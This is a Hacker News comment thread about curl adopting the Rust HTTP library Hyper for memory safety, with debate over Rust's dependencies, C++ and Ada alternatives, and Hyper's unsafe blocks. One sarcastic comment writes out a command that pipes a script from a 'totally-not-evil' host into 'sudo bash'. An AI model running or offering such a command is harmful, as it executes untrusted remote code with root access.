from Hacker News

Memory safe ‘curl’ for a more secure internet

by kingkilr on 10/9/20, 12:32 PM with 204 comments

• by svnpenn on 10/9/20, 2:05 PM

  I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages:

  autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, httpdate, indexmap, iovec, itoa, kernel32-sys, lazy_static, libc, log, memchr, mio, miow, net2, pin-project, pin-project-internal, pin-project-lite, pin-utils, proc-macro2, quote, redox_syscall, slab, socket2, syn, tokio, tokio-util, tower-service, tracing, tracing-core, try-lock, unicode-xid, want, winapi, winapi-build, winapi-i686-pc-windows-gnu, winapi-x86_64-pc-windows-gnu, ws2_32-sys

• by sohkamyung on 10/9/20, 1:06 PM

  Here's what Daniel Stenberg had to say about the move [1]

  [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...

• by steveklabnik on 10/9/20, 1:20 PM

  I've been holding my breath ever since I saw https://github.com/hyperium/hyper/issues/2265#issuecomment-6...

  Glad to see it seems to be going well!

• by hpb42 on 10/9/20, 1:39 PM

  I've heard a lot about Rust's "safety" things. But what are they? How does it compare with modern C++?

• by navaati on 10/9/20, 1:01 PM

  Wow, Rust being used in something as respected as cURL is a big endorsment !

• by nindalf on 10/9/20, 3:01 PM

  When I saw the issue (https://github.com/hyperium/hyper/issues/2265) for adding support for a C API to Hyper I was puzzled - couldn't you just use curl for that?

  As a user of software, it makes me happy to know that folks are investing in making the nuts and bolts safer and more secure.

• by pjmlp on 10/9/20, 1:35 PM

  Good news, doesn't matter if it is Rust or anything else with similar features, just improving security as a goal is quite valuable.

  Heck, even Checked C would do, if it ever gets fully done.

  In any case, looking forward to the results.

• by mehrdadn on 10/9/20, 12:47 PM

  How often have libcurl HTTP or TLS backend bugs resulted in exploited vulnerabilities in the past?

• by ncmncm on 10/9/20, 6:51 PM

  Switching immediately to building with C++, and then migrating incrementally to safe forms in C++, would provide much more value per unit effort. It would also enable engagement by the orders-of-magnitude more available skilled C++ programmers, who could also pick up new skills writing modern, safe C++ to apply in other migrations.

  It is not an either/or proposition. Certain, select modules could be recoded in Rust by particularly motivated Rust coders, leaving the huge amount of other code, for which there are too few Rust enthusiasts to work on, to be modernized in C++, and still able to call into the Rust code.

• by mitchtbaum on 10/9/20, 10:52 PM

  I'm unifying Rust's async HTTP implementations H1, H2, H3 and Google's tarpc in Rust~Actix~Torchbear. I just don't have a lot of time now sice my house got broken and I don't have enough money to rent anywhere. It also needs a lot of work on the parsing layer, and the laptops with my notes on them are hard to keep with me as I move around.

  https://github.com/google/tarpc

  https://github.com/actix/actix-web/tree/master/actix-http/sr...

  https://github.com/hyperium/h2

  https://github.com/djc/quinn/tree/main/quinn-h3

  https://github.com/speakeasy-engine/torchbear/blob/master/sr...

  ~

  There's beauty in this with the fluency in which complex applications like the coming secure social network, Radiojade, are built. See this example:

  !# https://github.com/foundpatternscellar/ping-pong/blob/master...

  Curl users, do you really want to stick with Bash's syntax instead of this??

• by ameixaseca on 10/9/20, 11:34 PM

  I like how the comment referenced in the article with the description "Rust itself can't even properly clean up its own memory" was answered today saying the restriction of unwinding on oom is going away; it's not a fundamental issue, just something that wasn't implemented that way the first time.

• by 7kmph on 10/10/20, 5:04 AM

  I find myself in the need of a "lib_download" a few times, a high level library that:

  - support HTTP/HTTPS

  - support proxy (for by-passing firewall, censorship, etc, http/https/socks5)

  - download one large file in parallel (configurable temporary directory)

  - download many small files in parallel (seems too high-level to put in a library, not sure this is a good feature)

  - configurable retry (maybe too high-level to put in a library)

  - resume download

  - good error semantics

  - an interface with defined behaviour

  - progress report (useful for downloading large files)

  I tried using a wrapped (in rust) version of libcurl, and in the end I decided to just use the curl cli, and read through the man page and pass about 13 arguments to it to make it's behaviour defined (to me, to a certain confidence level), I also pinned the curl executable to a specific version to avoid unknown changes.

  The end result works, but the process is unnecessarily complicated (invoke the cli binary, know what argument to pass, know the meaning of the many error codes), and the resume is not pleasant to use. I guess libcurl is designed to be that way, so that to an curl-master, he can tune all the knobs to do what he want, but to a average library user who just want to download things, it requires more attention than I'm willing to give to.

  Used in an interactive context, the issue of defined behaviour is usually overlooked, but when used a library in a program that runs unattended and expensive to upgrade/repair, achievable defined behaviour is a must, and test is not an alternative to it, even experience is not an alternative (experience are time consuming to get, and not transferable to others).

  All package managers needs to download packages from internet, often via HTTP, it's good to have a easy-to-use, well-defined, capable download library, many of them uses curl (Archlinux's pacman, rust installation script), many of them use others with varying level of capabilities, I thinks it would be beneficial if we can have a good library (in rust) for download things.

• by johnisgood on 10/9/20, 4:35 PM

  I think Ada/SPARK would have been a much better choice, but oh well. Is it a licensing issue?

• by a-dub on 10/9/20, 3:51 PM

  it's an interesting choice. i would have thought that fortifying http client libraries for major languages would be more important, but maybe they've already been hardened and interactive use of curl is a vector.

  makes me wonder about other interactive tooling. would be interesting if there were malicious binaries that were benign at runtime but triggered bugs in debuggers and profilers.

• by kej on 10/9/20, 5:55 PM

  I was under the impression that curl worked on more platforms than Rust and LLVM. It will be interesting to see what happens to curl support on those platforms going forward.

• by cbm-vic-20 on 10/9/20, 1:27 PM

  Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.

• by z3t4 on 10/9/20, 2:03 PM

  The bug did pass the type checker. Memory safe languages also have security issues. The program never run is the most secure, or like a programmer gain experience, programs get "battle hardened".

• by benecollyridam on 10/9/20, 2:49 PM

  > Hyper is a fast and safe HTTP implementation Well.. Hyper does rely on unsafe blocks (14 at first glance[2]), so I don't know if we can just assume that it's safe. When Sergey Davidoff did their big smoke test of popular Rust HTTP implementations they found a couple of bugs[1] (through Reqwest).

  I love the idea of a safer cURL, but I don't think you should take this as a magical answer to all of cURL's problems.

  [1]https://web.archive.org/web/20200506212152/https://medium.co... [2] I ran `grep -oR unsafe . | wc -l` after cloning the repo